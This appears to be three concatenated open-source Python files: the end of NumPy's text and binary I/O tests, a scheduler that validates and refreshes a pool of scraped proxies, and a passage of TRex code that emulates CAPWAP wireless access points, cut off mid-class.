assert_raises(ValueError, np.genfromtxt, TextIO(data), skip_footer=1,
max_rows=4)
# Test with invalid value
assert_raises(ValueError, np.genfromtxt, TextIO(data), max_rows=4)
# Test with invalid not raise
with suppress_warnings() as sup:
sup.filter(ConversionWarning)
test = np.genfromtxt(TextIO(data), max_rows=4, invalid_raise=False)
control = np.array([[1., 1.], [2., 2.], [3., 3.], [4., 4.]])
assert_equal(test, control)
test = np.genfromtxt(TextIO(data), max_rows=5, invalid_raise=False)
control = np.array([[1., 1.], [2., 2.], [3., 3.], [4., 4.]])
assert_equal(test, control)
# Structured array with field names.
data = 'a b\n#c d\n1 1\n2 2\n#0 \n3 3\n4 4\n5 5\n'
# Test with header, names and comments
txt = TextIO(data)
test = np.genfromtxt(txt, skip_header=1, max_rows=3, names=True)
control = np.array([(1.0, 1.0), (2.0, 2.0), (3.0, 3.0)],
dtype=[('c', '<f8'), ('d', '<f8')])
assert_equal(test, control)
# To continue reading the same "file", don't use skip_header or
# names, and use the previously determined dtype.
test = np.genfromtxt(txt, max_rows=None, dtype=test.dtype)
control = np.array([(4.0, 4.0), (5.0, 5.0)],
dtype=[('c', '<f8'), ('d', '<f8')])
assert_equal(test, control)
def test_gft_using_filename(self):
# Test that we can load data from a filename as well as a file
# object
tgt = np.arange(6).reshape((2, 3))
linesep = ('\n', '\r\n', '\r')
for sep in linesep:
data = '0 1 2' + sep + '3 4 5'
with temppath() as name:
with open(name, 'w') as f:
f.write(data)
res = np.genfromtxt(name)
assert_array_equal(res, tgt)
def test_gft_from_gzip(self):
# Test that we can load data from a gzipped file
wanted = np.arange(6).reshape((2, 3))
linesep = ('\n', '\r\n', '\r')
for sep in linesep:
data = '0 1 2' + sep + '3 4 5'
s = BytesIO()
with gzip.GzipFile(fileobj=s, mode='w') as g:
g.write(asbytes(data))
with temppath(suffix='.gz2') as name:
with open(name, 'w') as f:
f.write(data)
assert_array_equal(np.genfromtxt(name), wanted)
def test_gft_using_generator(self):
# gft doesn't work with unicode.
def count():
for i in range(10):
yield asbytes("%d" % i)
res = np.genfromtxt(count())
assert_array_equal(res, np.arange(10))
def test_auto_dtype_largeint(self):
# Regression test for numpy/numpy#5635 whereby large integers could
# cause OverflowErrors.
# Test the automatic definition of the output dtype
#
# 2**66 = 73786976294838206464 => should convert to float
# 2**34 = 17179869184 => should convert to int64
# 2**10 = 1024 => should convert to int (int32 on 32-bit systems,
# int64 on 64-bit systems)
data = TextIO('73786976294838206464 17179869184 1024')
test = np.genfromtxt(data, dtype=None)
assert_equal(test.dtype.names, ['f0', 'f1', 'f2'])
assert_(test.dtype['f0'] == float)
assert_(test.dtype['f1'] == np.int64)
assert_(test.dtype['f2'] == np.integer)
assert_allclose(test['f0'], 73786976294838206464.)
assert_equal(test['f1'], 17179869184)
assert_equal(test['f2'], 1024)
@pytest.mark.skipif(Path is None, reason="No pathlib.Path")
class TestPathUsage:
# Test that pathlib.Path can be used
def test_loadtxt(self):
with temppath(suffix='.txt') as path:
path = Path(path)
a = np.array([[1.1, 2], [3, 4]])
np.savetxt(path, a)
x = np.loadtxt(path)
assert_array_equal(x, a)
def test_save_load(self):
# Test that pathlib.Path instances can be used with save.
with temppath(suffix='.npy') as path:
path = Path(path)
a = np.array([[1, 2], [3, 4]], int)
np.save(path, a)
data = np.load(path)
assert_array_equal(data, a)
def test_save_load_memmap(self):
# Test that pathlib.Path instances can be loaded mem-mapped.
with temppath(suffix='.npy') as path:
path = Path(path)
a = np.array([[1, 2], [3, 4]], int)
np.save(path, a)
data = np.load(path, mmap_mode='r')
assert_array_equal(data, a)
# close the mem-mapped file
del data
def test_save_load_memmap_readwrite(self):
# Test that pathlib.Path instances can be written mem-mapped.
with temppath(suffix='.npy') as path:
path = Path(path)
a = np.array([[1, 2], [3, 4]], int)
np.save(path, a)
b = np.load(path, mmap_mode='r+')
a[0][0] = 5
b[0][0] = 5
del b # closes the file
data = np.load(path)
assert_array_equal(data, a)
def test_savez_load(self):
# Test that pathlib.Path instances can be used with savez.
with temppath(suffix='.npz') as path:
path = Path(path)
np.savez(path, lab='place holder')
with np.load(path) as data:
assert_array_equal(data['lab'], 'place holder')
def test_savez_compressed_load(self):
# Test that pathlib.Path instances can be used with savez.
with temppath(suffix='.npz') as path:
path = Path(path)
np.savez_compressed(path, lab='place holder')
data = np.load(path)
assert_array_equal(data['lab'], 'place holder')
data.close()
def test_genfromtxt(self):
with temppath(suffix='.txt') as path:
path = Path(path)
a = np.array([(1, 2), (3, 4)])
np.savetxt(path, a)
data = np.genfromtxt(path)
assert_array_equal(a, data)
def test_ndfromtxt(self):
# Test outputting a standard ndarray
with temppath(suffix='.txt') as path:
path = Path(path)
with path.open('w') as f:
f.write(u'1 2\n3 4')
control = np.array([[1, 2], [3, 4]], dtype=int)
test = np.genfromtxt(path, dtype=int)
assert_array_equal(test, control)
def test_mafromtxt(self):
# From `test_fancy_dtype_alt` above
with temppath(suffix='.txt') as path:
path = Path(path)
with path.open('w') as f:
f.write(u'1,2,3.0\n4,5,6.0\n')
test = np.genfromtxt(path, delimiter=',', usemask=True)
control = ma.array([(1.0, 2.0, 3.0), (4.0, 5.0, 6.0)])
assert_equal(test, control)
def test_recfromtxt(self):
with temppath(suffix='.txt') as path:
path = Path(path)
with path.open('w') as f:
f.write(u'A,B\n0,1\n2,3')
kwargs = dict(delimiter=",", missing_values="N/A", names=True)
test = np.recfromtxt(path, **kwargs)
control = np.array([(0, 1), (2, 3)],
dtype=[('A', int), ('B', int)])
assert_(isinstance(test, np.recarray))
assert_equal(test, control)
def test_recfromcsv(self):
with temppath(suffix='.txt') as path:
path = Path(path)
with path.open('w') as f:
f.write(u'A,B\n0,1\n2,3')
kwargs = dict(missing_values="N/A", names=True, case_sensitive=True)
test = np.recfromcsv(path, dtype=None, **kwargs)
control = np.array([(0, 1), (2, 3)],
dtype=[('A', int), ('B', int)])
assert_(isinstance(test, np.recarray))
assert_equal(test, control)
def test_gzip_load():
a = np.random.random((5, 5))
s = BytesIO()
f = gzip.GzipFile(fileobj=s, mode="w")
np.save(f, a)
f.close()
s.seek(0)
f = gzip.GzipFile(fileobj=s, mode="r")
assert_array_equal(np.load(f), a)
# These next two classes encode the minimal API needed to save()/load() arrays.
# The `test_ducktyping` ensures they work correctly
class JustWriter:
def __init__(self, base):
self.base = base
def write(self, s):
return self.base.write(s)
def flush(self):
return self.base.flush()
class JustReader:
def __init__(self, base):
self.base = base
def read(self, n):
return self.base.read(n)
def seek(self, off, whence=0):
return self.base.seek(off, whence)
def test_ducktyping():
a = np.random.random((5, 5))
s = BytesIO()
f = JustWriter(s)
np.save(f, a)
f.flush()
s.seek(0)
f = JustReader(s)
assert_array_equal(np.load(f), a)
def test_gzip_loadtxt():
# Thanks to another windows brokenness, we can't use
# NamedTemporaryFile: a file created from this function cannot be
# reopened by another open call. So we first put the gzipped string
# of the test reference array, write it to a securely opened file,
# which is then read from by the loadtxt function
s = BytesIO()
g = gzip.GzipFile(fileobj=s, mode='w')
g.write(b'1 2 3\n')
g.close()
s.seek(0)
with temppath(suffix='.gz') as name:
with open(name, 'wb') as f:
f.write(s.read())
res = np.loadtxt(name)
s.close()
assert_array_equal(res, [1, 2, 3])
def test_gzip_loadtxt_from_string():
s = BytesIO()
f = gzip.GzipFile(fileobj=s, mode="w")
f.write(b'1 2 3\n')
f.close()
s.seek(0)
f = gzip.GzipFile(fileobj=s, mode="r")
assert_array_equal(np.loadtxt(f), [1, 2, 3])
def test_npzfile_dict():
s = BytesIO()
x = np.zeros((3, 3))
y = np.zeros((3, 3))
np.savez(s, x=x, y=y)
s.seek(0)
z = np.load(s)
assert_('x' in z)
assert_('y' in z)
assert_('x' in z.keys())
assert_('y' in z.keys())
for f, a in z.items():
assert_(f in ['x', 'y'])
assert_equal(a.shape, (3, 3))
assert_(len(z.items()) == 2)
for f in z:
assert_(f in ['x', 'y'])
assert_('x' in z.keys())
@pytest.mark.skipif(not HAS_REFCOUNT, reason="Python lacks refcounts")
def test_load_refcount():
# Check that objects returned by np.load are directly freed based on
# their refcount, rather than needing the gc to collect them.
f = BytesIO()
np.savez(f, [1, 2, 3])
f.seek(0)
with assert_no_gc_cycles():
np.load(f)
f.seek(0)
dt = [("a", 'u1', 2), ("b", 'u1', 2)]
with assert_no_gc_cycles():
x = np.loadtxt(TextIO("0 1 2 3"), dtype=dt)
assert_equal(x, np.array([((0, 1), (2, 3))], dtype=dt))
|
ProxyRefreshSchedule.py | # -*- coding: utf-8 -*-
import sys
import time
import logging
from threading import Thread
from apscheduler.schedulers.background import BackgroundScheduler
sys.path.append('../')
from Util.utilFunction import validUsefulProxy
from Manager.ProxyManager import ProxyManager
from Util.LogHandler import LogHandler
__author__ = 'JHao'
logging.basicConfig()
class ProxyRefreshSchedule(ProxyManager):
"""
代理定时刷新
"""
def __init__(self):
ProxyManager.__init__(self)
self.log = LogHandler('refresh_schedule')
def validProxy(self):
"""
验证raw_proxy_queue中的代理, 将可用的代理放入useful_proxy_queue
:return:
"""
self.db.changeTable(self.raw_proxy_queue)
raw_proxy_item = self.db.pop()
self.log.info('ProxyRefreshSchedule: %s start validProxy' % time.ctime())
# 计算剩余代理,用来减少重复计算
remaining_proxies = self.getAll()
while raw_proxy_item:
raw_proxy = raw_proxy_item.get('proxy')
if isinstance(raw_proxy, bytes):
# 兼容Py3
raw_proxy = raw_proxy.decode('utf8')
if (raw_proxy not in remaining_proxies) and validUsefulProxy(raw_proxy):
self.db.changeTable(self.useful_proxy_queue)
self.db.put(raw_proxy)
self.log.info('ProxyRefreshSchedule: %s validation pass' % raw_proxy)
else:
self.log.info('ProxyRefreshSchedule: %s validation fail' % raw_proxy)
self.db.changeTable(self.raw_proxy_queue)
raw_proxy_item = self.db.pop()
remaining_proxies = self.getAll()
self.log.info('ProxyRefreshSchedule: %s validProxy complete' % time.ctime())
def refreshPool():
pp = ProxyRefreshSchedule()
pp.validProxy()
def batchRefresh(process_num=30):
# 检验新代理
pl = []
for num in range(process_num):
proc = Thread(target=refreshPool, args=())
pl.append(proc)
for num in range(process_num):
pl[num].daemon = True
pl[num].start()
for num in range(process_num):
pl[num].join()
def fetchAll():
p = ProxyRefreshSchedule()
# 获取新代理
p.refresh()
def run():
scheduler = BackgroundScheduler()
# 不用太快, 网站更新速度比较慢, 太快会加大验证压力, 导致raw_proxy积压
scheduler.add_job(fetchAll, 'interval', minutes=10, id="fetch_proxy")
scheduler.add_job(batchRefresh, "interval", minutes=1) # 每分钟检查一次
scheduler.start()
fetchAll()
while True:
time.sleep(3)
if __name__ == '__main__':
run()
|
trex_service_ap.py | from trex.stl.api import *
from trex.utils.text_opts import *
from trex.utils.common import natural_sorted_key
from .trex_service import Service, ServiceFilter
from .trex_service_int import ServiceCtx, simpy, TXBuffer
import time
from collections import deque
from scapy.all import *
from scapy.contrib.capwap import *
from trex_openssl import *
import threading
import struct
import sys
import time
import base64
'''
FSMs for AP:
* Discover WLC
* Establish DTLS session
* Join WLC
* Add client (station)
* Shutdown DTLS session
* Maintenance (arp, ping, capwap echo request, fetches rx and dispatches to rx_buffer of APs)
'''
class ServiceBufferedCtx(ServiceCtx):
''' Same as parent, but does not use capture to get packets, uses AP's rx_buffer '''
def _run(self, services):
self._reset()
self._add(services)
if len(self.filters) > 1:
raise Exception('Services here should have one common filter per AP')
self.filter = list(self.filters.values())[0]['inst']
if not hasattr(self.filter, 'services_per_ap'):
raise Exception('Services here should have filter with attribute services_per_ap, got %s, type: %s' % (self.filter, type(self.filter)))
# create an environment
self.env = simpy.rt.RealtimeEnvironment(factor = 1, strict = False)
self.tx_buffer = TXBuffer(self.env, self.client, self.port, 99, 1)
# create processes
for service in self.services:
pipe = self._pipe()
self.services[service]['pipe'] = pipe
p = self.env.process(service.run(pipe))
self._on_process_create(p)
try:
tick_process = self.env.process(self._tick_process())
self.env.run(until = tick_process)
finally:
self._reset()
def _tick_process (self):
while True:
self.tx_buffer.send_all()
for ap, services in self.filter.services_per_ap.items():
for _ in range(len(ap.rx_buffer)):
try:
scapy_pkt = ap.rx_buffer.popleft()
except IndexError:
break
for service in services:
self.services[service]['pipe']._on_rx_pkt(scapy_pkt, None)
# if no other process exists - exit
if self.is_done():
return
else:
# backoff
yield self.env.timeout(0.05)
'''
Just assign services to AP, it will get packets from AP's rx_buffer
'''
class ServiceFilterPerAp(ServiceFilter):
def __init__(self):
self.services_per_ap = {}
def add(self, service):
if service.ap in self.services_per_ap:
self.services_per_ap[service.ap].append(service)
else:
self.services_per_ap[service.ap] = [service]
'''
Used to fetch RX packets for all APs
Decrypts them if possible
Sends echo request (control keep alive)
Answers to async config changes
Does not use SimPy
'''
class ServiceApBgMaintenance:
bpf_filter = ('arp or (ip and (icmp or udp src port 5246 or ' # arp, ping, capwap control
+ '(udp src port 5247 and (udp[11] & 8 == 8 or ' # capwap data keep-alive
+ 'udp[16:2] == 16 or ' # client assoc. resp
+ 'udp[48:2] == 2054 or ' # client arp
+ '(udp[48:2] == 2048 and udp[59] == 1)))))') # client ping
ARP_ETHTYPE = b'\x08\x06'
IP_ETHTYPE = b'\x08\x00'
ICMP_PROTO = b'\x01'
UDP_PROTO = b'\x11'
CAPWAP_CTRL_PORT = b'\x14\x7e'
CAPWAP_DATA_PORT = b'\x14\x7f'
WLAN_ASSOC_RESP = b'\x00\x10'
ARP_REQ = b'\x00\x01'
ARP_REP = b'\x00\x02'
ICMP_REQ = b'\x08'
def __init__(self, ap_mngr, port_id):
self.ap_mngr = ap_mngr
self.port_id = port_id
self.ap_per_ip = {}
self.client_per_mac = {}
self.client_per_ip = {}
self.bg_client = self.ap_mngr.bg_client
self.port = self.bg_client.ports[port_id]
self.capture_id = None
self.bg_thread = None
self.send_pkts = []
################
# API #
################
def run(self):
self.bg_thread = threading.Thread(target = self.main_loop_wrapper)
self.bg_thread.name = 'BG Thread (port %s)' % self.port_id
self.bg_thread.daemon = True
self.bg_thread.start()
def is_running(self):
return self.bg_thread and self.bg_thread.is_alive()
def stop(self):
capture_id = self.capture_id
self.capture_id = None
try:
self.bg_client.stop_capture(capture_id)
except:
pass
##################
# INTERNAL #
##################
def AP_ARP_RESP_TEMPLATE(self, src_mac, dst_mac, src_ip, dst_ip):
return (
dst_mac + src_mac + self.ARP_ETHTYPE + # Ethernet
b'\x00\x01\x08\x00\x06\x04\x00\x02' + src_mac + src_ip + dst_mac + dst_ip # ARP
)
def log(self, msg, level = Logger.VERBOSES['warning']):
if not msg.startswith('(WLC) '):
msg = '(WLC) %s' % msg
self.ap_mngr.trex_client.logger.async_log('\n' + bold(msg), level)
def err(self, msg):
self.log(msg, Logger.VERBOSES['error'])
def fatal(self, msg):
self.log(msg, Logger.VERBOSES['critical'])
self.stop()
def send(self, pkts):
assert type(pkts) is list
push_pkts = [{'binary': base64.b64encode(bytes(p) if isinstance(p, Ether) else p).decode(),
'use_port_dst_mac': False,
'use_port_src_mac': False} for p in pkts]
rc = self.port.push_packets(push_pkts, False, ipg_usec = 1)
#if not rc:
# self.err(rc.err())
def recv(self):
pkts = []
self.bg_client.fetch_capture_packets(self.capture_id, pkts, 10000)
if len(pkts) > 9995:
self.err('Too much packets in rx queue (%s)' % len(pkts))
return pkts
def shutdown_ap(self, ap):
try:
for client in ap.clients:
client.disconnect()
if ap.is_dtls_established:
with ap.ssl_lock:
libssl.SSL_shutdown(ap.ssl)
tx_pkt = ap.wrap_capwap_pkt(b'\1\0\0\0' + ap.ssl_read())
self.send([tx_pkt])
finally:
ap.reset_vars()
def main_loop_wrapper(self):
err_msg = ''
self.capture_id = self.bg_client.start_capture(rx_ports = self.port_id, bpf_filter = self.bpf_filter, limit = 10000)['id']
try:
#with Profiler_Context(20):
self.main_loop()
except KeyboardInterrupt:
pass
except Exception as e:
if self.capture_id: # if no id -> got stop()
if not isinstance(e, STLError):
import traceback
traceback.print_exc()
err_msg = ' (Exception: %s)' % e
finally:
if not self.capture_id:
return
try:
self.bg_client.stop_capture(self.capture_id)
except:
pass
if self.port_id in self.ap_mngr.service_ctx:
if self.ap_per_ip:
self.err('Background thread on port %s died%s. Disconnecting APs.' % (self.port_id, err_msg))
else:
self.err('Background thread on port %s died%s.' % (self.port_id, err_msg))
for ap in self.ap_per_ip.values():
self.shutdown_ap(ap)
def handle_ap_arp(self, rx_bytes):
src_ip = rx_bytes[28:32]
dst_ip = rx_bytes[38:42]
if src_ip == dst_ip: # GARP
return
if dst_ip not in self.ap_per_ip: # check IP
return
ap = self.ap_per_ip[dst_ip]
src_mac = rx_bytes[6:12]
dst_mac = rx_bytes[:6]
if dst_mac not in (b'\xff\xff\xff\xff\xff\xff', ap.mac_bytes): # check MAC
ap.err('Bad MAC (%s) of AP %s' % (str2mac(dst_mac), ap.name))
return
if ap.is_debug:
ap.debug('AP %s got ARP' % ap.name)
Ether(rx_bytes).show2()
if rx_bytes[20:22] == self.ARP_REQ: # 'who-has'
tx_pkt = self.AP_ARP_RESP_TEMPLATE(
src_mac = ap.mac_bytes,
dst_mac = src_mac,
src_ip = dst_ip,
dst_ip = src_ip,
)
#Ether(tx_pkt).show2()
self.send_pkts.append(tx_pkt)
elif rx_bytes[20:22] == self.ARP_REP: # 'is-at'
# ap.rx_buffer.append(Ether(rx_bytes))
if src_ip == ap.wlc_ip_bytes:
ap.mac_dst_bytes = src_mac
ap.mac_dst = str2mac(src_mac)
def handle_ap_icmp(self, rx_bytes, ap):
rx_pkt = Ether(rx_bytes)
icmp_pkt = rx_pkt[ICMP]
if icmp_pkt.type == 8: # echo-request
#print 'Ping to AP!'
#rx_pkt.show2()
if rx_pkt[IP].dst == ap.ip: # ping to AP
tx_pkt = rx_pkt.copy()
tx_pkt.src, tx_pkt.dst = tx_pkt.dst, tx_pkt.src
tx_pkt[IP].src, tx_pkt[IP].dst = tx_pkt[IP].dst, tx_pkt[IP].src
tx_pkt[ICMP].type = 'echo-reply'
del tx_pkt[ICMP].chksum
#tx_pkt.show2()
self.send_pkts.append(tx_pkt)
#elif icmp_pkt.type == 0: # echo-reply
# ap.rx_buffer.append(rx_pkt)
def process_capwap_ctrl(self, rx_bytes, ap):
ap.info('Got CAPWAP CTRL at AP %s' % ap.name)
if ap.is_debug:
rx_pkt = Ether(rx_bytes)
rx_pkt.show2()
rx_pkt.dump_offsets_tree()
if not ap.is_dtls_established:
if rx_bytes[42:43] == b'\0': # discovery response
capwap_bytes = rx_bytes[42:]
capwap_hlen = (struct.unpack('!B', capwap_bytes[1:2])[0] & 0b11111000) >> 1
ctrl_header_type = struct.unpack('!B', capwap_bytes[capwap_hlen+3:capwap_hlen+4])[0]
if ctrl_header_type != 2:
return
ap.mac_dst_bytes = rx_bytes[6:12]
ap.mac_dst = str2mac(ap.mac_dst_bytes)
ap.wlc_ip_bytes = rx_bytes[26:30]
ap.ip_dst = str2ip(ap.wlc_ip_bytes)
result_code = CAPWAP_PKTS.parse_message_elements(capwap_bytes, capwap_hlen, ap, self.ap_mngr)
ap.rx_responses[2] = result_code
elif rx_bytes[42:43] == b'\1': # dtls handshake
ap.rx_buffer.append(rx_bytes)
return
is_dtls = struct.unpack('?', rx_bytes[42:43])[0]
if not is_dtls: # dtls is established, ctrl should be encrypted
return
if (rx_bytes[46:47] == b'\x15'): # DTLS alert
ap.is_dtls_closed = True
ap.is_connected = False
self.err("Server sent DTLS alert to AP '%s'." % ap.name)
rx_pkt_buf = ap.decrypt(rx_bytes[46:])
if not rx_pkt_buf:
return
if rx_pkt_buf[0:1] not in (b'\0', b'\1'): # definitely not CAPWAP... should we debug it?
ap.debug('Not CAPWAP, skipping: %s' % hex(rx_pkt_buf))
return
#rx_pkt = CAPWAP_CTRL(rx_pkt_buf)
ap.last_recv_ts = time.time()
if ap.is_debug:
rx_pkt.show2()
capwap_assemble = ap.capwap_assemble
if struct.unpack('!B', rx_pkt_buf[3:4])[0] & 0x80: # is_fragment
rx_pkt = CAPWAP_CTRL(rx_pkt_buf)
if capwap_assemble:
assert ap.capwap_assemble['header'].fragment_id == rx_pkt.header.fragment_id, 'Got CAPWAP fragments with out of order (different fragment ids)'
control_str = bytes(rx_pkt[CAPWAP_Control_Header_Fragment])
if rx_pkt.header.fragment_offset * 8 != len(capwap_assemble['buf']):
self.err('Fragment offset and data length mismatch')
capwap_assemble.clear()
return
#if rx_pkt.header.fragment_offset * 8 > len(capwap_assemble['buf']):
# print('Fragment offset: %s, data so far length: %s (not enough data)' % (rx_pkt.header.fragment_offset, len(capwap_assemble['buf'])))
#elif rx_pkt.header.fragment_offset * 8 < len(capwap_assemble['buf']):
# capwap_assemble['buf'] = capwap_assemble['buf'][:rx_pkt.header.fragment_offset * 8]
capwap_assemble['buf'] += control_str
if rx_pkt.is_last_fragment():
capwap_assemble['assembled'] = CAPWAP_CTRL(
header = capwap_assemble['header'],
control_header = CAPWAP_Control_Header(capwap_assemble['buf'])
)
else:
if rx_pkt.is_last_fragment():
self.err('Got CAPWAP first fragment that is also last fragment!')
return
if rx_pkt.header.fragment_offset != 0:
rx_pkt.show2()
self.err('Got out of order CAPWAP fragment, does not start with zero offset')
return
capwap_assemble['header'] = rx_pkt.header
capwap_assemble['header'].flags &= ~0b11000
capwap_assemble['buf'] = bytes(rx_pkt[CAPWAP_Control_Header_Fragment])
capwap_assemble['ap'] = ap
elif capwap_assemble:
self.err('Got not fragment in middle of assemble of fragments (OOO).')
capwap_assemble.clear()
else:
capwap_assemble['assembled'] = rx_pkt_buf
rx_pkt_buf = capwap_assemble.get('assembled')
if not rx_pkt_buf or rx_pkt_buf[0:1] != b'\0':
return
capwap_assemble.clear()
#rx_pkt = CAPWAP_CTRL(rx_pkt_buf)
#rx_pkt.show2()
#rx_pkt.dump_offsets_tree()
if ap.is_debug:
CAPWAP_CTRL(rx_pkt_buf).show2()
capwap_hlen = (struct.unpack('!B', rx_pkt_buf[1:2])[0] & 0b11111000) >> 1
ctrl_header_type = struct.unpack('!B', rx_pkt_buf[capwap_hlen+3:capwap_hlen+4])[0]
if ctrl_header_type == 7: # Configuration Update Request
#rx_pkt.show2()
CAPWAP_PKTS.parse_message_elements(rx_pkt_buf, capwap_hlen, ap, self.ap_mngr) # get info from incoming packet
seq = struct.unpack('!B', rx_pkt_buf[capwap_hlen+4:capwap_hlen+5])[0]
tx_pkt = ap.get_config_update_capwap(seq)
if ap.is_debug:
CAPWAP_CTRL(tx_pkt.value).show2()
self.send_pkts.append(ap.wrap_capwap_pkt(b'\1\0\0\0' + ap.encrypt(tx_pkt)))
elif ctrl_header_type == 14: # Echo Response
ap.echo_resp_timer = None
elif ctrl_header_type == 17: # Reset Request
self.err('AP %s got Reset request, shutting down' % ap.name)
#self.send_pkts.append(ap.wrap_capwap_pkt(b'\1\0\0\0' + ap.encrypt(tx_pkt)))
self.shutdown_ap(ap)
elif ctrl_header_type in (4, 6, 12):
result_code = CAPWAP_PKTS.parse_message_elements(rx_pkt_buf, capwap_hlen, ap, self.ap_mngr)
ap.rx_responses[ctrl_header_type] = result_code
else:
rx_pkt.show2()
ap.err('Got unhandled capwap header type: %s' % ctrl_header_type)
def handle_client_arp(self, dot11_bytes, ap):
ip = dot11_bytes[58:62]
client = self.client_per_ip.get(ip)
if not client:
return
if client.ap is not ap:
self.err('Got ARP to client %s via wrong AP (%s)' % (client.ip, ap.name))
return
if dot11_bytes[40:42] == self.ARP_REQ: # 'who-has'
if dot11_bytes[48:52] == dot11_bytes[58:62]: # GARP
return
tx_pkt = ap.wrap_pkt_by_wlan(client, ap.get_arp_pkt('is-at', src_mac_bytes=client.mac_bytes, src_ip_bytes=client.ip_bytes))
self.send_pkts.append(tx_pkt)
elif dot11_bytes[40:42] == self.ARP_REP: # 'is-at'
client.seen_arp_reply = True
def handle_client_icmp(self, dot11_bytes, ap):
ip = dot11_bytes[50:54]
client = self.client_per_ip.get(ip)
if not client:
return
if client.ap is not ap:
self.err('Got ARP to client %s via wrong AP (%s)' % (client.ip, ap.name))
return
if dot11_bytes[54:55] == self.ICMP_REQ:
rx_pkt = Dot11_swapped(dot11_bytes)
tx_pkt = Ether(src = client.mac, dst = rx_pkt.addr3) / rx_pkt[IP].copy()
tx_pkt[IP].src, tx_pkt[IP].dst = tx_pkt[IP].dst, tx_pkt[IP].src
tx_pkt[ICMP].type = 'echo-reply'
del tx_pkt[ICMP].chksum
self.send_pkts.append(ap.wrap_pkt_by_wlan(client, bytes(tx_pkt)))
def main_loop(self):
echo_send_timer = PassiveTimer(1)
self.send_pkts = []
while self.capture_id:
now_time = time.time()
self.send(self.send_pkts)
self.send_pkts = []
resps = self.recv()
try:
if not self.ap_mngr.service_ctx[self.port_id]['synced']: # update only if required
with self.ap_mngr.bg_lock:
aps = list(self.ap_mngr.aps)
clients = list(self.ap_mngr.clients)
self.ap_mngr.service_ctx[self.port_id]['synced'] = True
self.ap_per_ip = dict([(ap.ip_bytes, ap) for ap in aps if ap.port_id == self.port_id])
self.client_per_mac = dict([(client.mac_bytes, client) for client in clients])
self.client_per_ip = dict([(client.ip_bytes, client) for client in clients])
except KeyError as e:
if self.port_id not in self.ap_mngr.service_ctx:
return
if echo_send_timer.has_expired():
echo_send_timer = PassiveTimer(0.5)
for ap in self.ap_per_ip.values():
if ap.is_connected:
if ap.echo_resp_timer and ap.echo_resp_timer.has_expired(): # retry echo
if ap.echo_resp_retry > 0:
ap.echo_resp_timeout *= 2
ap.echo_resp_timer = PassiveTimer(ap.echo_resp_timeout)
ap.echo_resp_retry -= 1
tx_pkt = ap.get_echo_capwap()
self.send_pkts.append(ap.get_echo_wrap(ap.encrypt(tx_pkt)))
else:
self.err("Timeout in echo response for AP '%s', disconnecting" % ap.name)
self.shutdown_ap(ap)
for ap in self.ap_per_ip.values():
if ap.is_connected:
if time.time() > ap.last_echo_req_ts + ap.echo_req_interval: # new echoes
tx_pkt = ap.get_echo_capwap()
ap.last_echo_req_ts = time.time()
ap.echo_resp_timeout = ap.capwap_RetransmitInterval
ap.echo_resp_timer = PassiveTimer(ap.echo_resp_timeout)
ap.echo_resp_retry = ap.capwap_MaxRetransmit
self.send_pkts.append(ap.get_echo_wrap(ap.encrypt(tx_pkt)))
if len(self.send_pkts) > 200:
break
if not resps and not self.send_pkts:
time.sleep(0.01)
continue
for resp in resps:
if not self.capture_id:
return
rx_bytes = resp['binary']
dst_mac = rx_bytes[:7]
ether_type = rx_bytes[12:14]
if ether_type == self.ARP_ETHTYPE:
self.handle_ap_arp(rx_bytes)
elif ether_type == self.IP_ETHTYPE:
ip = rx_bytes[30:34]
if ip not in self.ap_per_ip: # check IP
continue
ap = self.ap_per_ip[ip]
dst_mac = rx_bytes[:6]
if dst_mac not in ('\xff\xff\xff\xff\xff\xff', ap.mac_bytes): # check MAC
ap.err('Bad MAC (%s), although IP of AP (%s)' % (str2mac(dst_mac), str2ip(ip)))
continue
ip_proto = rx_bytes[23:24]
if ip_proto == self.ICMP_PROTO:
self.handle_ap_icmp(rx_bytes, ap)
elif ip_proto == self.UDP_PROTO:
udp_port_str = rx_bytes[36:38]
if udp_port_str != ap.udp_port_str: # check UDP port
ap.err('Bad UDP port (%s), although IP of AP (%s)' % (str2int(udp_port), str2ip(ip)))
continue
udp_src = rx_bytes[34:36]
if udp_src == self.CAPWAP_CTRL_PORT:
self.process_capwap_ctrl(rx_bytes, ap)
elif udp_src == self.CAPWAP_DATA_PORT:
if ord(rx_bytes[45:46]) & 0b1000: # CAPWAP Data Keep-alive
ap.got_keep_alive = True
continue
dot11_offset = 42 + ((ord(rx_bytes[43:44]) & 0b11111000) >> 1)
dot11_bytes = rx_bytes[dot11_offset:]
#Dot11_swapped(dot11_bytes).dump_offsets_tree()
if dot11_bytes[:2] == self.WLAN_ASSOC_RESP: # Client assoc. response
mac_bytes = dot11_bytes[4:10]
client = self.client_per_mac.get(mac_bytes)
if client:
client.is_associated = True
elif dot11_bytes[32:34] == self.ARP_ETHTYPE:
self.handle_client_arp(dot11_bytes, ap)
elif dot11_bytes[32:34] == self.IP_ETHTYPE and dot11_bytes[43:44] == self.ICMP_PROTO:
self.handle_client_icmp(dot11_bytes, ap)
class ServiceAp(Service):
requires_dtls = True
def __init__(self, ap, verbose_level = Service.WARN):
Service.__init__(self, verbose_level)
self.ap = ap
self.name = '%s of %s' % (self.__class__.__name__, ap.name)
def get_filter_type(self):
return ServiceFilterPerAp
def timeout(self):
self.ap.warn('Timeout in FSM %s' % self.name)
def log(self, msg):
self.ap.info(msg)
def err(self, msg):
self.ap.err('Error in FSM %s: %s' % (self.name, msg))
def run(self, pipe):
if self.requires_dtls and not self.ap.is_dtls_established:
self.err('DTLS is not established for AP %s' % self.ap.name)
return
self.ap.info('Starting FSM %s' % self.name)
run_gen = self.run_with_buffer()
send_data = None
while True:
if self.requires_dtls and not self.ap.is_dtls_established:
self.log('DTLS session got closed for AP %s, exiting FSM' % self.ap.name)
break
try:
action = run_gen.send(send_data)
except StopIteration:
action = 'done'
if type(action) is tuple and len(action) == 2:
action, val = action
if action == 'get':
send_data = None
resp = yield pipe.async_wait_for_pkt(time_sec = val, limit = 1)
if resp:
send_data = resp[0]['pkt']
elif action == 'put':
if type(val) is list:
for v in val:
pipe.async_tx_pkt(PacketBuffer(v))
else:
pipe.async_tx_pkt(PacketBuffer(val))
elif action == 'sleep':
yield pipe.async_wait(val)
elif action == 'done':
self.log('Finished successfully FSM %s' % self.name)
break
elif action == 'err':
self.err(val)
break
elif action == 'time':
self.timeout()
break
else:
raise Exception('Incorrect action in FSM %s: %s' % (self.name, action))
def hex(buf, delimiter = ' '):
if not buf:
return 'Empty buffer'
return delimiter.join(['%02x' % (c if type(c) is int else ord(c)) for c in buf])
################ FSMs ##################
class ServiceApDiscoverWLC(ServiceAp):
requires_dtls = False
def run_with_buffer(self):
